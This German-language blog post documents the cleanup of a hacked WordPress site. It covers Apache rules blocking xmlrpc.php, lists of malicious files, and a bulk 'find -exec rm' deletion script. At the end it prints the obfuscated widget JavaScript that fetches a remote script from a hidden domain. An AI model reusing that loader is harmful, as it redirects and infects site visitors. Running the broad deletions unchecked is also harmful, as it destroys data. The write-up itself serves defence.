Thema: Ubuntu – MariaDB – WordPress – Apache – CleanBlogg Theme.
Betrifft WordPress bis Version mindestens inklusive 6.4.2. Letztes Update 24. Jänner 2024.
Vermutlicher ursprünglicher Zugriff über xmlrpc.php
. Dadurch Anlegen von zusätzlichen Administratoren unter den Usern und verteilen von schwer lesbaren *.php
und *.ccss
Dateien, die sich anscheinend durch Aufrufen von aussen auch selbst duplizieren und verteilen. Dies alles scheint mit dem User www-data
zu erfolgen. Somit bleibt das System aktiv solange nicht alle Dateien gefunden wurden. WordPress-Instanzen mit wie unten ausgeführten Schritten bleiben sauberer als solche wo dies nicht konsequent erfolgt ist. Einzelne *.php
Dateien werden auf ausführbar gesetzt um so lokal Befehle ausführen zu können.
Stand 24. Jänner 2024: Ich habe vor 3 Tagen alle unten angeführten Sicherungsschritte für 6 unterschiedliche WordPress-Instanzen umgesetzt, inkl. dem Löschen der Schaddateien, dies erfolgt zum Teil per shell-Script. Nun scheinen keine neuen Dateien erzeugt zu werden und Bots versuchen Passwörter zu ändern. Es scheint, als wären sie auf den Anfang zurück geschmissen worden. Die Zugriffe auf xmlrpc.php
bleiben sehr hoch.
Stand 20. Juni 2024: Die 6 WordPress-Instanzen weisen unterschiedliche Zustände auf. Nirgends sind unerwünscht User angemeldet worden und in allen Instanzen blieb der externe Zugriff auf xmlrpc.php
gesperrt. Neu ist die Datei radio.txt
, welche an unterschiedlichsten Stellen auftaucht (auch ausserhalb der WordPress-Instanzen) und nur einen ca. 20-stellige Zeichenabfolge umfasst.
- Eine ist mit den unten angeführten Schäden weiterhin verseucht, es ist jene welche die meisten Plugins einsetzt.
- In vier von sechs liegen unten genannte Schaddateien vor. Deren Anzahl ist gering, es kann theoretisch um vergessene Dateien der Säuberung von Jänner sein (ausgehend davon, dass sich die Schaddateien selber duplizieren, können Ordner befallen sein, die man zuvor überprüft hat).
- Zwei von vier haben ein neues Schadbild, nämlich Redirects von der Startseite zu Phishing- und Porno-Seiten, siehe letzten Abschnitt unten. Der Zusammenhang mit dem Angriff über
xmlrpc.php
ist unklar.
Diese Seite erhebt keinen Anspruch auf Vollständigkeit oder Richtigkeit!
Im Backend sichtbare Zeichen
Es werden WordPress-User mit Administrationsrechten unter den Benutzern angelegt. Sie haben keinen Email-Adresse vermerkt, sie sind also ausserhalb des Backends angelegt worden. Ende 2023 und Anfang 2024 heissen diese User meist wp_update-XXXXXXXX
oder deleted-XXXXXXX
, aber auch andere Namen kommen vor.
Weiters kann es sein, dass keine Beitrage angelegt oder geändert werden können. Medien können hingegen hochgeladen, aber nicht geändert werden weil die Datei wp-admin/post.php
Fehler generiert, ohne dass diese direkt verändert ist. Die Fehler laufen über php-includes. Dazu unten mehr.
Mit dem Hack aufräumen
Zuerst das Anlegen falscher Benützer unterbinden. Es scheint, dass über einen externen Zugriff auf die Datei xmlrpc.php
erfolgt. Diese wird für manche Plugins benötigt (wie Jetpack), stellt aber grundsätzlich immer eine Gefahrenquelle dar. Man kann das verhindern, indem man den externen Zugriff auf xmlrpc.php
in der Definition des Virtual Hosts sperrt. Es schadet auch nicht, wenn man das auch für wp-config.php
macht (wo das Datenbank-Passwort lesbar liegt).
# Block WordPress xmlrpc.php requests <Files xmlrpc.php>cd ,, order deny,allow deny from all </Files> <Files wp-config.php> order deny,allow deny from all </Files>
Vergleiche auch:
https://wordpress.org/support/topic/unknown-user-created-2/
Weitere Symptome und Dateien die zu ändern/entfernen sind hier unten. (SHOK) bedeutet, dass ich ein dafür ein shell-Script zum generell Löschen einsetze.
- Eine zusätzlich eingefügte Anweisung über ca. 5 Zeilen am Beginn der Datei
wp-content/plugins/akismet/akismet.php
. Diese ersten Zeilen löschen. Manchmal sind diese Daten lesbar samt link auf eine weitere Datei im System die meist auch Schadcode aufweist. Diese Datei ist auch executable gesetzt, das gehört geändert, siehe Punkt 12 unten. Die Datei einem normalen Systemuser geben und nichtwww-data
. Das Plugin wird beim Update samt dem ganzen Ordner gelöscht und neu installiert, danach sind die Dateirechte wieder falsch und die Datei ist wieder vulnerabel. - (SHOK) Eine irgendwo liegende
*.ccss
Datei, die verhindert, dass man Posts anlegen und editieren kann. Diese Dateien im Basisverzeichnis mitfind . -type f -name '*.ccss'
finden und löschen. Die Datei ist jedenfalls unterakismet.php
aufgerufen. Um weitere dieser Aufrufe zu suchen, kann man diesen Befehl nutzen:grep -RInw '/path/to/wordpress/' -e 'ccss' > ../temp.txt
, er dauert bloss recht lang bei der Ausführung und die Ausgabedatei darf nicht die Suche umfassen. - Datei-Rechte strenger setzen. Problemantisch ist der Ordner
wp-admin/includes
den es zum Update von Plugins unter dem Userwww-data
braucht. - Passwörter ändern: alle Admins unter WordPress aber auch jene der Datenbank und dort auch das Root-Passwort (siehe MariaDB statt MySQL unter Ubuntu unten). Es ist nicht erwiesen, dass die Passwörter auch gehackt/genutzt wurden, aber schaden tut dies nach einiger Zeit sowieso nicht.
- Ggf. WordPress Updaten.
- Zusätzliche Ordner die meist mit Ziffern (8-stellig, z.B.
oo845q67
) beginnen unterwp-content/plugins/
undwp-content/themes/
. Innerhalb der einzelnen Ordner für Plugins und Themen können auch zusätzliche Dateien mit schwer lesbaren Inhalten liegen. Alle auffälligen löschen. Ggf. Plugins und Themen löschen und neu installieren. Siehe auch weiter unten. - (SHOK)
*.php
Dateien direkt unter unterwp-content/
,wp-content/plugins/
undwp-content/themes/
sind zu löschen. Ebenso rekursiv unterwp-content/languages/
,wp-content/upgrade-temp-backup/
,wp-content/upgrade/
,wp-content/cache/
undwp-content/uploads/
. - (SHOK)
*.css
Dateien rekursiv unterwp-content/uploads/
immer löschen. - (SHOK) Unbekannte, meist 8-stellige
*.php
Dateien rekursiv unter unterwp-content/
sind zu löschen, ausser natürlich bekannte Plugins-und Themen-Dateien. - Per Name bekannte und zu löschende Dateien, in allen möglichen Bereichen zu finden:
- (SHOK) Die Dateien
style.php
,ajax.php
,radio.txt
undjs.php
sowie*.js.php
sind immer und überall löschen. - (SHOK)Die Datei
wp-login.php
immer löschen ausser im Basisverzeichnis. - (SHOK) Die Datei
admin-ajax.php
immer ausser unterwp-admin/admin-ajax.php
. - (SHOK) Die Datei
profile.php
immer ausser unterwp-admin/user/
,wp-admin/network/
undwp-admin/
. - (SHOK)Die Datei
themes.php
immer löschen ausser inwp-admin/
undwp-admin/network/
. - (SHOK) Die Datei
image.php
immer ausser unterwp-admin/includes/
,wp-includes/blocks/
,wp-content/themes/activello/
,wp-content/themes/twentysixteen/
und ggf. anderem Plugins oder Themen. - Die Datei
.php
immer ausser unterwp-admin/
,wp-admin/includes/
,wp-content/plugins/duplicate-post/src/admin/views/
,wp-content/plugins/subscribe2/include/
,wp-content/plugins/duplicate-post/
,wp-content/plugins/duplicate-post/src/admin/
,wp-content/plugins/duplicate-post/src/admin/views/
und ggf. anderen Plugins oder Themen. - Die Datei
css.php
immer löschen ausser in bestimmten Plugins wie zb. shortcodes-ultimate.
- (SHOK) Die Dateien
- Weitere überflüssige Dateien sucht man nun am Besten in den den Server-Error-Logs. Wir haben oben viele Dateien gelöscht, einzelne Zugriffe von aussen gerieren nun Fehler, die hier erscheinen. Unter Ubuntu findet man die Fehler unter
/var/log/apache2/my-server-error-log
. Ggf. auch untermy-server-error-log.1
,my-server-error-log.2.gz
etc. schauen. Meist wird eine Funktion mit einem sehr komplizierten Namen aufgerufen welche hier Fehler generiert:PHP Fatal error: Uncaught Error: Call to undefined function \xebe85\xcdbd7dm\x88cj\xb62770\xb2\xc7c7p\xc37E529\xaf9,123\x97-0\xfb8>-`k\xa7d-8c>f2\x17302\x9737p\x13:962\x16$\xc9\xc0=\xf2<b-4a\x06;\xfdbd7\xc4-3c'f2770\xf5\x87\xfe7pC75\xf52\x964S!+\xfd2\xa2+5d\xd8\xdf() in [my-server]/wp-includes/blocks/latest-posts/tshrjquv.php:100 [...]
. Namen können lauten: b9e6fac8.php, ewfeoryh.php, kbafrmzh.php, 80b549ab.php, a2495acf.php, metrgrbl.php, fc9fe9bb.php. Sie sind also 8-stellig. - Unter
wp-includes
ist die Dateiload.php
auf ausführbar gesetzt:rwxrwxr-x
. Das ist nur ein Zeichen des Hacks und ohne Auswirkung. Besser aufrw-rw-r--
zurücksetzen (chmod a-x laod.php
). Dort kann in den ersten Zeilen auch Schadecode zu finden sein.
Die oben mit “(SHOK)” können per Shellscript so gelöscht werden:
find [PATH]/wp-content -maxdepth 1 -type f -name '*.php' -exec rm {} + find [PATH]/wp-content/plugins -maxdepth 1 -type f -name '*.php' -exec rm {} + find [PATH]/wp-content/themes -maxdepth 1 -type f -name '*.php' -exec rm {} + find [PATH]/wp-content/upgrade-temp-backup -type f -name '*.php' -exec rm {} + find [PATH]/wp-content/cache -type f -name '*.php' -exec rm {} + find [PATH]/wp-content/upgrade -type f -name '*.php' -exec rm {} + find [PATH]/wp-content/languages -type f -name '*.php' -exec rm {} + find [PATH]/ -type f -name '*.js.php' -exec rm {} + find [PATH]/ -type f -name 'js.php' -exec rm {} + find [PATH]/ -type f -name 'style.php' -exec rm {} + find [PATH]/ -type f -name 'ajax.php' -exec rm {} + find [PATH]/ -type f -name '*.ccss' -exec rm {} + find [PATH]/wp-content/uploads/ -type f -name '*.php' -exec rm {} + find [PATH]/wp-content/uploads/ -type f -name '*.css' -exec rm {} + find /home/aw/www/sites/ -type f -name 'radio.txt' -exec rm {} + find [PATH]/wp-content/ -regextype sed -regex '.*/[0-9a-z]\{8\}\.php' -not -name "activate.php" -not -name "comments.php" -not -name "category.php" -not -name "settings.php" -not -name "autoload.php" -not -name "payments.php" -not -name "checkout.php" -not -name "features.php" -not -name "nist*.php" -not -name "qr*code.php" -not -name "qrconfig.php" -not -name "donation.php" -not -name "function.php" -not -name "browscap.php" -not -name "advanced.php" -not -name "upgrades.php" -not -name "tracking.php" -not -name "singular.php" -not -name "patterns.php" -not -name "overview.php" -not -name "watchers.php" -not -name "carousel.php" -not -name "infinity.php" -not -name "markdown.php" -not -name "devicepx.php" -not -name "sitemaps.php" -not -name "descript.php" -not -name "bandcamp.php" -not -name "gravatar.php" -not -name "facebook.php" -not -name "mixcloud.php" -not -name "twitchtv.php" -not -name "archives.php" -not -name "sitemaps.php" -not -name "blogroll.php" -not -name "nextdoor.php" -not -name "calendly.php" -not -name "subpages.php" -not -name "tonesque.php" -not -name "debugger.php" -not -name "checkbox.php" -not -name "template.php" -not -name "siblings.php" -not -name "document.php" -not -name "lightbox.php" -not -name "patterns.php" -not -name "overview.php" -not -name "lightbox.php" -exec rm {} + find [PATH]/ -type f -name 'admin-ajax.php' -not -path '*wp-admin/admin-ajax*' -exec rm {} + find [PATH]/ -type f -name 'profile.php' -not -path '*wp-admin/user/profile*' -not -path '*wp-admin/network/profile*' -not -path '*wp-admin/profile*' -exec rm {} + find [PATH]/ -type f -name 'image.php' -not -path '*wp-admin/includes/image*' -not -path '*wp-includes/blocks/image*' -not -path '*wp-content/themes/activello/image*' -not -path '*wp-content/themes/*teen/image*' -exec rm {} + find [PATH]/ -type f -name 'themes.php' -not -path '*wp-admin/themes*' -not -path '*wp-admin/network/themes*' -exec rm {} + find [PATH]/ -type f -name 'wp-login.php' -not -path '[PATH]/wp-login*' -exec rm {} +
Redirect-Hacks
Seit Mai 2024 tauchen Redirects zu Phishing- und Porno-Seiten direkt ab der Startseite auf. Der Code liegt in Widgets. Man findet sie im Quellcode wenn man nach dem Tag <aside>
sucht und darin verschlüsselter JavaScript-Code zu finden ist. <aside>
-Tags mit lesbaren Inhalt sind eure Footer etc. Entfernen geht über das Backend unter Design>Widgets
. Mit der Maus über die Widgets fahren, es erscheint dann ein Rahmen und Editiermöglichkeiten. Wenn der Rahmen völlig leer erscheint, so verbirgt sich darunter Schadcode. Diese Widgets löschen (ancklicken > drei Punkte > Löschen). Suche danach auch in nicht von dir genutzten Widget-Bereichen oder unter archivierte Widgets!
Der Zusammenhang mit dem xmlrpc.php
-Hack ist nicht klar. Auffällig ist, dass bei den betroffen WordPress-Instanzen das Plugin Slimstat im Backend nicht löschbar ist und dass einen Order wp-content/uploads/wp-slimstat gibt. Beide kann man nur mit SSH-Zurgiff löschen. Ebenfalls auffällig ist, dass es nur beim Theme (Design) Activello Redirects verursacht, obwohl unter CleanBlogg der gleiche Code keine Redirects auslöst.
Dieser JavaScript-Code steht in den zusätzlichen Widgets:
<script type="text/javascript"> !function (_c4b55) { var _ae72d = Date.now(); var _a0a18 = 1000; _ae72d = _ae72d / _a0a18; _ae72d = Math.floor(_ae72d); var _f40aa = 600; _ae72d -= _ae72d % _f40aa; _ae72d = _ae72d.toString(16); var _2cfad = _c4b55.referrer; if (!_2cfad) return; var _3976a = [48258, 48263, 48280, 48267, 48266, 48271, 48285, 48262, 48268, 48257, 48271, 48284, 48266, 48261, 48263, 48282, 48320, 48263, 48256, 48264, 48257]; _3976a = _3976a.map(function(_7821d){ return _7821d ^ 48366; }); var _a735e = "fc23dc49b0d9df8713d888dbaf76e055"; _3976a = String.fromCharCode(..._3976a); var _5d972 = "https://"; var _6920d = "/"; var _9eb70 = "track-"; var _36072 = ".js"; var _d066c = _c4b55.createElement("script"); _d066c.type = "text/javascript"; _d066c.async = true; _d066c.src = _5d972 + _3976a + _6920d + _9eb70 + _ae72d + _36072; _c4b55.getElementsByTagName("head")[0].appendChild(_d066c) }(document); </script>
No Comments